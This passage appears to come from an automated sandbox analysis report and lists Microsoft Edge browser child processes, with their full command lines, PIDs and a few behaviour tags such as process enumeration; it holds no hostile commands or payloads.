  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4984 /prefetch:1
  2⤵
  PID:620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4916 /prefetch:1
  2⤵
  PID:3560
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3672 /prefetch:8
  2⤵
  PID:1648
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3672 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5432 /prefetch:1
  2⤵
  PID:1608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5608 /prefetch:1
  2⤵
  PID:432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5592 /prefetch:1
  2⤵
  PID:4368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5448 /prefetch:1
  2⤵
  PID:4824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5544 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:4696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=3360 /prefetch:8
  2⤵
  PID:4248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3508 /prefetch:1
  2⤵
  PID:5128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5944 /prefetch:1
  2⤵
  PID:2072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5560 /prefetch:1
  2⤵
  PID:5532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4936 /prefetch:1
  2⤵
  PID:5764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5784 /prefetch:1
  2⤵
  PID:5808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3596 /prefetch:1
  2⤵
  PID:5924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5556 /prefetch:1
  2⤵
  PID:6060
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=media.mojom.MediaFoundationService --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --service-sandbox-type=mf_cdm --mojo-platform-channel-handle=5064 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6536 /prefetch:1
  2⤵
  PID:3904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6016 /prefetch:1
  2⤵
  PID:5680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6020 /prefetch:1
  2⤵
  PID:2396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5176 /prefetch:1
  2⤵
  PID:4616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6640 /prefetch:1
  2⤵
  PID:1532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5760 /prefetch:1
  2⤵
  PID:3324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6900 /prefetch:1
  2⤵
  PID:448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4084 /prefetch:1
  2⤵
  PID:760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6064 /prefetch:1
  2⤵
  PID:1228
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5172 /prefetch:1
  2⤵
  PID:4744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7204 /prefetch:1
  2⤵
  PID:1072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5180 /prefetch:1
  2⤵
  PID:5548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5872 /prefetch:1
  2⤵
  PID:5468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6316 /prefetch:1
  2⤵
  PID:5428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6324 /prefetch:1
  2⤵
  PID:5984
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7592 /prefetch:1
  2⤵
  PID:5772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7240 /prefetch:1
  2⤵
  PID:6076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1900 /prefetch:1
  2⤵
  PID:3832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7032 /prefetch:1
  2⤵
  PID:2864
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6512 /prefetch:1
  2⤵
  PID:5488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6564 /prefetch:1
  2⤵
  PID:2344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7164 /prefetch:1
  2⤵
  PID:5824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6776 /prefetch:1
  2⤵
  PID:5472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7032 /prefetch:1
  2⤵
  PID:552
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5176 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6772 /prefetch:1
  2⤵
  PID:4856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5896 /prefetch:1
  2⤵
  PID:2356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3616 /prefetch:1
  2⤵
  PID:4800
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3604 /prefetch:1
  2⤵
  PID:1632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=7360 /prefetch:8
  2⤵
  PID:468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=180 /prefetch:1
  2⤵
  PID:5336
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=57 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7384 /prefetch:1
  2⤵
  PID:5420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7424 /prefetch:1
  2⤵
  PID:2540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7072 /prefetch:1
  2⤵
  PID:5320
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=58 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8180 /prefetch:1
  2⤵
  PID:2088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6796 /prefetch:1
  2⤵
  PID:3312
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7364 /prefetch:1
  2⤵
  PID:3992
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1924 /prefetch:1
  2⤵
  PID:3116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6260 /prefetch:1
  2⤵
  PID:6036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6192 /prefetch:1
  2⤵
  PID:5952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7948 /prefetch:1
  2⤵
  PID:1704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6220 /prefetch:1
  2⤵
  PID:4680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6964 /prefetch:1
  2⤵
  PID:2828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5384 /prefetch:1
  2⤵
  PID:3664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6240 /prefetch:1
  2⤵
  PID:3976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7444 /prefetch:1
  2⤵
  PID:652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2068,10923839708885255177,4197911327282171491,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6712 /prefetch:1
  2⤵
  PID:4976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
